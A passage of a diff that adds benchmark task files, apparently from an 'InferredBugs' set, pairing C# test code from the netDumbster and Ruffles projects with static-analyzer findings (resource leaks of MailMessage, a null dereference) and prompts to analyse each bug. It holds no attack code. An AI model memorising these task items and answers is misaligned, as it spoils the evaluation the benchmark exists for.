+            Assert.Equal(expectedBody, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_Priority()
+        {
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.IsBodyHtml = false;
+                mailMessage.Priority = MailPriority.High;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            Assert.Equal("1", this.server.ReceivedEmail[0].XPriority);
+            Assert.Equal("urgent", this.server.ReceivedEmail[0].Priority);
+            Assert.Equal("high", this.server.ReceivedEmail[0].Importance);
+        }
+
+        [Fact]
+        public void Send_Email_With_RussianText()
+        {
+            string body = string.Empty;
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                body = "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю";
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", body);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal(body, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            this.server.Stop();
+        }
+
+        [Fact]
+        public void Send_Email_With_UTF8_Chars()
+        {
+            string body = string.Empty;
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                body = "µ¶®¥§";
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", body);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal(body, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            this.server.Stop();
+        }
+
+        [Fact]
+        public void Send_Fires_Message_Received_Event()
+        {
+            int port = 50004;
+            SimpleSmtpServer fixedPortServer = this.StartServer(port);
+            fixedPortServer.MessageReceived += (sender, args) =>
+            {
+                Assert.NotNull(args.Message);
+                Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+                Assert.Equal("this is the body", args.Message.MessageParts[0].BodyData);
+            };
+
+            this.SendMail(false, false, null, port);
+
+            fixedPortServer.Stop();
+        }
+
+        [Fact]
+        public void Send_Html_Email()
+        {
+            this.SendMail(false, true, null);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the html body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_One_Mail()
+        {
+            this.SendMail();
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void If_Client_Is_Not_Disposed_Server_Everything_Keeps_Working()
+        {
+            var port = GetRandomUnusedPort();
+            var host = "localhost";
+            using (SimpleSmtpServer emailServer = this.StartServer(port))
+            {
+                SmtpClient client = new SmtpClient(host, port);
+                client.Send("noone@nowhere.com", "nobody@nowhere.com", "This is an email", "body of email");
+            }
+
+            using (SimpleSmtpServer emailServer = this.StartServer(port))
+            {
+                using (SmtpClient client = new SmtpClient(host, port))
+                    client.Send("noone@nowhere.com", "nobody@nowhere.com", "This is an email", "body of email");
+            }
+        }
+
+        [Fact]
+        public void Send_One_Mail_Clear_Send_Another_Mail()
+        {
+            this.SendMail();
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            this.server.ClearReceivedEmail();
+            this.SendMail();
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_One_Mail_With_SmtpAuth()
+        {
+            this.SendMail(true);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Start_Server_Random_Port()
+        {
+            SimpleSmtpServer randomPortServer = this.StartServer();
+            Assert.True(randomPortServer.Configuration.Port > 0);
+            randomPortServer.Stop();
+        }
+
+        [Fact]
+        public void Send_Attachments_Mails_SpecialChars()
+        {
+            var files = Directory.GetFiles("Content");
+            SendMail(false, files);
+            Assert.Equal(files.Length, this.server.ReceivedEmailCount);
+            var smtpMail = this.server.ReceivedEmail[0];
+            using (MailMessage mailMessage = MailMessageMimeParser.ParseMessage(new System.IO.StringReader(smtpMail.Data)))
+            {
+                foreach (var m in mailMessage.Attachments)
+                {
+                    Console.WriteLine(m.Name);
+                    Assert.True(files[0].EndsWith(m.Name));
+                }
+            }
+        }
+
+        [Fact(Timeout = 10000)]
+        public async Task Reusing_Smtp_Client_Should_Not_Fail()
+        {
+            var config = Configuration.Configure();
+            using var server = SimpleSmtpServer.Start(config.WithRandomPort().Port);
+            var mailClient = new SmtpClient
+            {
+                Host = "localhost",
+                Port = server.Configuration.Port,
+                EnableSsl = false
+            };
+
+            for (int messageNo = 0; messageNo < 2; messageNo++)
+            {
+                var mailMessage = new MailMessage("one@example.com", "two@example.com");
+
+                await mailClient.SendMailAsync(mailMessage);
+
+                Assert.Equal(messageNo + 1, server.ReceivedEmailCount);
+            }
+        }
+
+        protected void SendMail()
+        {
+            this.SendMail(false);
+        }
+
+        protected void SendMail(bool smtpAuth)
+        {
+            this.SendMail(smtpAuth, false, null);
+        }
+
+        protected void SendMail(bool smtpAuth, bool isBodyHtml, byte[] attachment)
+        {
+            this.SendMail(smtpAuth, isBodyHtml, attachment, this.server.Configuration.Port);
+        }
+
+        protected void SendMail(bool smtpAuth, bool isBodyHtml, byte[] attachment, int serverPort)
+        {
+            using (SmtpClient client = new SmtpClient("localhost", serverPort))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.Bcc.Add(new MailAddress("bcc@mendible.com"));
+                mailMessage.CC.Add(new MailAddress("cc@mendible.com"));
+                mailMessage.IsBodyHtml = isBodyHtml;
+
+                if (isBodyHtml)
+                {
+                    mailMessage.Body = "this is the html body";
+                }
+
+                if (smtpAuth)
+                {
+                    NetworkCredential credentials = new NetworkCredential("user", "pwd");
+                    client.Credentials = credentials;
+                    client.EnableSsl = false;
+                }
+
+                if (attachment != null)
+                {
+                    mailMessage.Attachments.Add(new Attachment(new MemoryStream(attachment), "image/jpeg"));
+                }
+
+                client.Send(mailMessage);
+            }
+        }
+
+        protected void SendMail(bool smtpAuth, IEnumerable<string> attach)
+        {
+            SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port);
+            var mailMessage = new MailMessage("cfm@mendible.com", "kbm@mendible.com", "test", "test test test");
+            foreach (var fileName in attach)
+                mailMessage.Attachments.Add(new Attachment(fileName));
+
+            if (smtpAuth)
+            {
+                NetworkCredential credentials = new NetworkCredential("user", "pwd");
+                client.Credentials = credentials;
+                client.EnableSsl = false;
+            }
+            client.Send(mailMessage);
+
+            client.Dispose();
+        }
+
+        private bool disposedValue = false; // To detect redundant calls
+
+        protected virtual void Dispose(bool disposing)
+        {
+            if (!disposedValue)
+            {
+                if (disposing)
+                {
+                    this.server.Stop();
+                }
+
+                disposedValue = true;
+            }
+        }
+
+        static int GetRandomUnusedPort()
+        {
+            try
+            {
+                var listener = new TcpListener(IPAddress.Any, 0);
+                listener.Start();
+                var port = ((IPEndPoint)listener.LocalEndpoint).Port;
+                listener.Stop();
+                return port;
+            }
+            catch
+            {
+                throw;
+            }
+        }
+
+        // This code added to correctly implement the disposable pattern.
+        void IDisposable.Dispose()
+        {
+            Dispose(true);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource mailMessage of type System.Net.Mail.MailMessage in method "Void TestsBase.Send_Email_With_Priority()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TestsBase.Send_Email_With_Priority()
+
+### File:
+netDumbster.Test/TestsBase.cs
+
+### Key:
+TestsBase.cs|Send_Email_With_Priority|DOTNET_RESOURCE_LEAK
+
+### Hash:
+a677e8f1004bc76c6aea5c59417ff2d7
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0905/instruction.md b/inferredbugs-0905/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..32742aff8a4a7a240bdd6a7ab2c47abcde0474e6
--- /dev/null
+++ b/inferredbugs-0905/instruction.md
@@ -0,0 +1,500 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** netDumbster
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+namespace netDumbster.Test
+{
+    using System;
+    using System.Collections.Generic;
+    using System.IO;
+    using System.Net;
+    using System.Net.Mail;
+    using System.Net.Mime;
+    using System.Text;
+    using netDumbster.smtp;
+    using netDumbster.smtp.Logging;
+    using Xunit;
+    using System.Threading.Tasks;
+    using System.Net.Sockets;
+
+    public class TestsBase : IDisposable
+    {
+        protected SimpleSmtpServer server;
+
+        private Random _Rnd = new Random();
+
+        public TestsBase()
+        {
+            LogManager.GetLogger = type => new ConsoleLogger(type);
+            this.server = this.StartServer();
+        }
+
+        protected virtual SimpleSmtpServer StartServer()
+        {
+            return SimpleSmtpServer.Start();
+        }
+
+        protected virtual SimpleSmtpServer StartServer(int port)
+        {
+            return SimpleSmtpServer.Start(port);
+        }
+
+        [Fact]
+        public void Send_10_Mails()
+        {
+            for (var i = 0; i < 10; i++)
+            {
+                this.SendMail();
+                Assert.Equal(i + 1, this.server.ReceivedEmailCount);
+            }
+
+            Assert.Equal(10, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Send_10_Mail_With_SmtpAuth()
+        {
+            for (var i = 0; i < 10; i++)
+            {
+                this.SendMail(true);
+                Assert.Equal(i + 1, this.server.ReceivedEmailCount);
+            }
+
+            Assert.Equal(10, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Send_Email_And_Restart_Server_Using_The_Same_Port()
+        {
+            int port = 5003;
+            SimpleSmtpServer fixedPortServer = this.StartServer(port);
+
+            this.SendMail(false, false, null, port);
+
+            Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+            Assert.Equal("this is the body", fixedPortServer.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            fixedPortServer.Stop();
+
+            fixedPortServer = this.StartServer(port);
+
+            this.SendMail(false, false, null, port);
+
+            Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+            Assert.Equal("this is the body", fixedPortServer.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            fixedPortServer.Stop();
+        }
+
+        // Test is run several several times since we're testing asynchronous behaviour
+        [Theory]
+        [Repeat(5)]
+        public void Send_Email_When_Server_Not_Running()
+        {
+            this.server.Stop();
+            Assert.Throws<SmtpException>(() => this.SendMail());
+        }
+
+        [Fact]
+        public void Send_Email_With_AlternateViews()
+        {
+            using (var client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.AlternateViews.Add(AlternateView.CreateAlternateViewFromString("FooBar", new ContentType("text/html")));
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            var smtpMessage = this.server.ReceivedEmail[0];
+
+            Assert.Equal(2, smtpMessage.MessageParts.Length);
+            Assert.True(smtpMessage.MessageParts[0].HeaderData.Contains("text/plain"));
+            Assert.Equal("this is the body", smtpMessage.MessageParts[0].BodyData);
+            Assert.True(smtpMessage.MessageParts[1].HeaderData.Contains("text/html"));
+            Assert.Equal("FooBar", smtpMessage.MessageParts[1].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_AlternateViews_And_Attachments()
+        {
+            using (var client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.AlternateViews.Add(AlternateView.CreateAlternateViewFromString("FooBar", new ContentType("text/html")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment1", new ContentType("application/octet-stream")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment2", new ContentType("application/octet-stream")));
+                mailMessage.Attachments.Add(Attachment.CreateAttachmentFromString("Attachment3", new ContentType("application/octet-stream")));
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            var smtpMessage = this.server.ReceivedEmail[0];
+            Assert.Equal(5, smtpMessage.MessageParts.Length);
+            Assert.True(smtpMessage.MessageParts[0].HeaderData.Contains("text/plain"));
+            Assert.Equal("this is the body", smtpMessage.MessageParts[0].BodyData);
+            Assert.True(smtpMessage.MessageParts[1].HeaderData.Contains("text/html"));
+            Assert.Equal("FooBar", smtpMessage.MessageParts[1].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_Attachment()
+        {
+            var data = new byte[] { 0x1 };
+
+            this.SendMail(false, true, data);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the html body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            Assert.NotNull(this.server.ReceivedEmail[0].MessageParts[1]);
+            Assert.NotNull(this.server.ReceivedEmail[0].MessageParts[1].BodyData);
+            Assert.NotEmpty(this.server.ReceivedEmail[0].MessageParts[1].BodyData);
+            Assert.Equal(data, UTF8Encoding.UTF8.GetBytes(this.server.ReceivedEmail[0].MessageParts[1].BodyData));
+        }
+
+        [Fact]
+        public void Send_Multiline_Email()
+        {
+            var expectedBody = $"this is the body{Environment.NewLine}line2{Environment.NewLine}line3";
+
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", expectedBody);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal(expectedBody, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_Email_With_Priority()
+        {
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.IsBodyHtml = false;
+                mailMessage.Priority = MailPriority.High;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            Assert.Equal("1", this.server.ReceivedEmail[0].XPriority);
+            Assert.Equal("urgent", this.server.ReceivedEmail[0].Priority);
+            Assert.Equal("high", this.server.ReceivedEmail[0].Importance);
+        }
+
+        [Fact]
+        public void Send_Email_With_RussianText()
+        {
+            string body = string.Empty;
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                body = "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю" +
+                       "Съешь ещё этих мягких французских булок, да выпей чаю";
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", body);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal(body, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            this.server.Stop();
+        }
+
+        [Fact]
+        public void Send_Email_With_UTF8_Chars()
+        {
+            string body = string.Empty;
+            using (SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port))
+            {
+                body = "µ¶®¥§";
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", body);
+                mailMessage.IsBodyHtml = false;
+                client.Send(mailMessage);
+            }
+
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal(body, this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+
+            this.server.Stop();
+        }
+
+        [Fact]
+        public void Send_Fires_Message_Received_Event()
+        {
+            int port = 50004;
+            SimpleSmtpServer fixedPortServer = this.StartServer(port);
+            fixedPortServer.MessageReceived += (sender, args) =>
+            {
+                Assert.NotNull(args.Message);
+                Assert.Equal(1, fixedPortServer.ReceivedEmailCount);
+                Assert.Equal("this is the body", args.Message.MessageParts[0].BodyData);
+            };
+
+            this.SendMail(false, false, null, port);
+
+            fixedPortServer.Stop();
+        }
+
+        [Fact]
+        public void Send_Html_Email()
+        {
+            this.SendMail(false, true, null);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the html body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_One_Mail()
+        {
+            this.SendMail();
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void If_Client_Is_Not_Disposed_Server_Everything_Keeps_Working()
+        {
+            var port = GetRandomUnusedPort();
+            var host = "localhost";
+            using (SimpleSmtpServer emailServer = this.StartServer(port))
+            {
+                SmtpClient client = new SmtpClient(host, port);
+                client.Send("noone@nowhere.com", "nobody@nowhere.com", "This is an email", "body of email");
+            }
+
+            using (SimpleSmtpServer emailServer = this.StartServer(port))
+            {
+                using (SmtpClient client = new SmtpClient(host, port))
+                    client.Send("noone@nowhere.com", "nobody@nowhere.com", "This is an email", "body of email");
+            }
+        }
+
+        [Fact]
+        public void Send_One_Mail_Clear_Send_Another_Mail()
+        {
+            this.SendMail();
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+            this.server.ClearReceivedEmail();
+            this.SendMail();
+            Assert.Equal("this is the body", this.server.ReceivedEmail[0].MessageParts[0].BodyData);
+        }
+
+        [Fact]
+        public void Send_One_Mail_With_SmtpAuth()
+        {
+            this.SendMail(true);
+            Assert.Equal(1, this.server.ReceivedEmailCount);
+        }
+
+        [Fact]
+        public void Start_Server_Random_Port()
+        {
+            SimpleSmtpServer randomPortServer = this.StartServer();
+            Assert.True(randomPortServer.Configuration.Port > 0);
+            randomPortServer.Stop();
+        }
+
+        [Fact]
+        public void Send_Attachments_Mails_SpecialChars()
+        {
+            var files = Directory.GetFiles("Content");
+            SendMail(false, files);
+            Assert.Equal(files.Length, this.server.ReceivedEmailCount);
+            var smtpMail = this.server.ReceivedEmail[0];
+            using (MailMessage mailMessage = MailMessageMimeParser.ParseMessage(new System.IO.StringReader(smtpMail.Data)))
+            {
+                foreach (var m in mailMessage.Attachments)
+                {
+                    Console.WriteLine(m.Name);
+                    Assert.True(files[0].EndsWith(m.Name));
+                }
+            }
+        }
+
+        [Fact(Timeout = 10000)]
+        public async Task Reusing_Smtp_Client_Should_Not_Fail()
+        {
+            var config = Configuration.Configure();
+            using var server = SimpleSmtpServer.Start(config.WithRandomPort().Port);
+            var mailClient = new SmtpClient
+            {
+                Host = "localhost",
+                Port = server.Configuration.Port,
+                EnableSsl = false
+            };
+
+            for (int messageNo = 0; messageNo < 2; messageNo++)
+            {
+                var mailMessage = new MailMessage("one@example.com", "two@example.com");
+
+                await mailClient.SendMailAsync(mailMessage);
+
+                Assert.Equal(messageNo + 1, server.ReceivedEmailCount);
+            }
+        }
+
+        protected void SendMail()
+        {
+            this.SendMail(false);
+        }
+
+        protected void SendMail(bool smtpAuth)
+        {
+            this.SendMail(smtpAuth, false, null);
+        }
+
+        protected void SendMail(bool smtpAuth, bool isBodyHtml, byte[] attachment)
+        {
+            this.SendMail(smtpAuth, isBodyHtml, attachment, this.server.Configuration.Port);
+        }
+
+        protected void SendMail(bool smtpAuth, bool isBodyHtml, byte[] attachment, int serverPort)
+        {
+            using (SmtpClient client = new SmtpClient("localhost", serverPort))
+            {
+                var mailMessage = new MailMessage("carlos@mendible.com", "karina@mendible.com", "test", "this is the body");
+                mailMessage.Bcc.Add(new MailAddress("bcc@mendible.com"));
+                mailMessage.CC.Add(new MailAddress("cc@mendible.com"));
+                mailMessage.IsBodyHtml = isBodyHtml;
+
+                if (isBodyHtml)
+                {
+                    mailMessage.Body = "this is the html body";
+                }
+
+                if (smtpAuth)
+                {
+                    NetworkCredential credentials = new NetworkCredential("user", "pwd");
+                    client.Credentials = credentials;
+                    client.EnableSsl = false;
+                }
+
+                if (attachment != null)
+                {
+                    mailMessage.Attachments.Add(new Attachment(new MemoryStream(attachment), "image/jpeg"));
+                }
+
+                client.Send(mailMessage);
+            }
+        }
+
+        protected void SendMail(bool smtpAuth, IEnumerable<string> attach)
+        {
+            SmtpClient client = new SmtpClient("localhost", this.server.Configuration.Port);
+            var mailMessage = new MailMessage("cfm@mendible.com", "kbm@mendible.com", "test", "test test test");
+            foreach (var fileName in attach)
+                mailMessage.Attachments.Add(new Attachment(fileName));
+
+            if (smtpAuth)
+            {
+                NetworkCredential credentials = new NetworkCredential("user", "pwd");
+                client.Credentials = credentials;
+                client.EnableSsl = false;
+            }
+            client.Send(mailMessage);
+
+            client.Dispose();
+        }
+
+        private bool disposedValue = false; // To detect redundant calls
+
+        protected virtual void Dispose(bool disposing)
+        {
+            if (!disposedValue)
+            {
+                if (disposing)
+                {
+                    this.server.Stop();
+                }
+
+                disposedValue = true;
+            }
+        }
+
+        static int GetRandomUnusedPort()
+        {
+            try
+            {
+                var listener = new TcpListener(IPAddress.Any, 0);
+                listener.Start();
+                var port = ((IPEndPoint)listener.LocalEndpoint).Port;
+                listener.Stop();
+                return port;
+            }
+            catch
+            {
+                throw;
+            }
+        }
+
+        // This code added to correctly implement the disposable pattern.
+        void IDisposable.Dispose()
+        {
+            Dispose(true);
+        }
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource mailMessage of type System.Net.Mail.MailMessage in method "Void TestsBase.Send_Email_With_RussianText()".
+
+### Severity:
+ERROR
+
+### Procedure:
+Void TestsBase.Send_Email_With_RussianText()
+
+### File:
+netDumbster.Test/TestsBase.cs
+
+### Key:
+TestsBase.cs|Send_Email_With_RussianText|DOTNET_RESOURCE_LEAK
+
+### Hash:
+562e3c808397f74510100410424c03fe
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0932/instruction.md b/inferredbugs-0932/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..21166c9e80ed3d8f670223169df8181ef1f88467
--- /dev/null
+++ b/inferredbugs-0932/instruction.md
@@ -0,0 +1,167 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Ruffles
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using NUnit.Framework;
+using Ruffles.Channeling.Channels;
+using Ruffles.Memory;
+using Ruffles.Tests.Helpers;
+using Ruffles.Tests.Stubs;
+using System;
+
+namespace Ruffles.Tests.Channels
+{
+    [TestFixture()]
+    public class ReliableSequencedChannelTests
+    {
+        [Test()]
+        public void TestSimpleMessage()
+        {
+            Configuration.SocketConfig config = new Configuration.SocketConfig();
+
+            MemoryManager memoryManager = new MemoryManager(config);
+
+            ConnectionStub clientsConnectionToServer = new ConnectionStub();
+            ConnectionStub serversConnectionToClient = new ConnectionStub();
+
+            ReliableSequencedChannel clientChannel = new ReliableSequencedChannel(0, clientsConnectionToServer, config, memoryManager);
+            ReliableSequencedChannel serverChannel = new ReliableSequencedChannel(0, serversConnectionToClient, config, memoryManager);
+
+            byte[] message = BufferHelper.GetRandomBuffer(1024);
+
+            HeapMemory messageMemory = clientChannel.CreateOutgoingMessage(new ArraySegment<byte>(message, 0, 1024), out bool dealloc)[0];
+            ArraySegment<byte>? payload = serverChannel.HandleIncomingMessagePoll(new ArraySegment<byte>(messageMemory.Buffer, (int)messageMemory.VirtualOffset + 2, (int)messageMemory.VirtualCount - 2), out bool hasMore);
+
+            Assert.NotNull(payload);
+            Assert.False(hasMore);
+
+            byte[] bytePayload = new byte[payload.Value.Count];
+            Array.Copy(payload.Value.Array, payload.Value.Offset, bytePayload, 0, payload.Value.Count);
+
+            Assert.AreEqual(message, bytePayload);
+        }
+
+        [Test()]
+        public void TestOutOfOrder()
+        {
+            Configuration.SocketConfig config = new Configuration.SocketConfig();
+
+            MemoryManager memoryManager = new MemoryManager(config);
+
+            ConnectionStub clientsConnectionToServer = new ConnectionStub();
+            ConnectionStub serversConnectionToClient = new ConnectionStub();
+
+            ReliableSequencedChannel clientChannel = new ReliableSequencedChannel(0, clientsConnectionToServer, config, memoryManager);
+            ReliableSequencedChannel serverChannel = new ReliableSequencedChannel(0, serversConnectionToClient, config, memoryManager);
+
+            // Create 3 payloads
+            byte[] message1 = BufferHelper.GetRandomBuffer(1024);
+            byte[] message2 = BufferHelper.GetRandomBuffer(1024);
+            byte[] message3 = BufferHelper.GetRandomBuffer(1024);
+
+            // Sequence all payloads as outgoing
+            HeapMemory message1Memory = clientChannel.CreateOutgoingMessage(new ArraySegment<byte>(message1, 0, 1024), out bool dealloc)[0];
+            HeapMemory message2Memory = clientChannel.CreateOutgoingMessage(new ArraySegment<byte>(message2, 0, 1024), out dealloc)[0];
+            HeapMemory message3Memory = clientChannel.CreateOutgoingMessage(new ArraySegment<byte>(message3, 0, 1024), out dealloc)[0];
+
+            // Consume 1st payload
+            ArraySegment<byte>? payload1 = serverChannel.HandleIncomingMessagePoll(new ArraySegment<byte>(message1Memory.Buffer, (int)message1Memory.VirtualOffset + 2, (int)message1Memory.VirtualCount - 2), out bool hasMore1);
+            // Consume 3rd payload
+            ArraySegment<byte>? payload3 = serverChannel.HandleIncomingMessagePoll(new ArraySegment<byte>(message3Memory.Buffer, (int)message3Memory.VirtualOffset + 2, (int)message3Memory.VirtualCount - 2), out bool hasMore3);
+            // Consume 2nd payload
+            ArraySegment<byte>? payload2 = serverChannel.HandleIncomingMessagePoll(new ArraySegment<byte>(message2Memory.Buffer, (int)message2Memory.VirtualOffset + 2, (int)message2Memory.VirtualCount - 2), out bool hasMore2);
+
+            HeapMemory pollMemory = serverChannel.HandlePoll();
+
+            {
+                Assert.NotNull(payload1);
+                Assert.False(hasMore1);
+
+                byte[] bytePayload = new byte[payload1.Value.Count];
+                Array.Copy(payload1.Value.Array, payload1.Value.Offset, bytePayload, 0, payload1.Value.Count);
+
+                Assert.AreEqual(message1, bytePayload);
+            }
+
+            {
+                Assert.Null(payload3);
+                Assert.False(hasMore3);
+            }
+
+            {
+                Assert.NotNull(payload2);
+                Assert.True(hasMore2);
+
+                byte[] bytePayload = new byte[payload2.Value.Count];
+                Array.Copy(payload2.Value.Array, payload2.Value.Offset, bytePayload, 0, payload2.Value.Count);
+
+                Assert.AreEqual(message2, bytePayload);
+            }
+
+            {
+                // Check for the third packet
+                Assert.NotNull(pollMemory);
+
+                byte[] bytePayload = new byte[pollMemory.VirtualCount];
+                Array.Copy(pollMemory.Buffer, pollMemory.VirtualOffset, bytePayload, 0, pollMemory.VirtualCount);
+
+                Assert.AreEqual(message3, bytePayload);
+            }
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`pollMemory` could be null (from the call to `ReliableSequencedChannel.HandlePoll()` on line 70) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void ReliableSequencedChannelTests.TestOutOfOrder()
+
+### File:
+Ruffles.Tests/Channels/ReliableSequencedChannelTests.cs
+
+### Key:
+ReliableSequencedChannelTests.cs|TestOutOfOrder|NULLPTR_DEREFERENCE
+
+### Hash:
+68094e1f2db0c8fb1ec306d5c0446c09
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
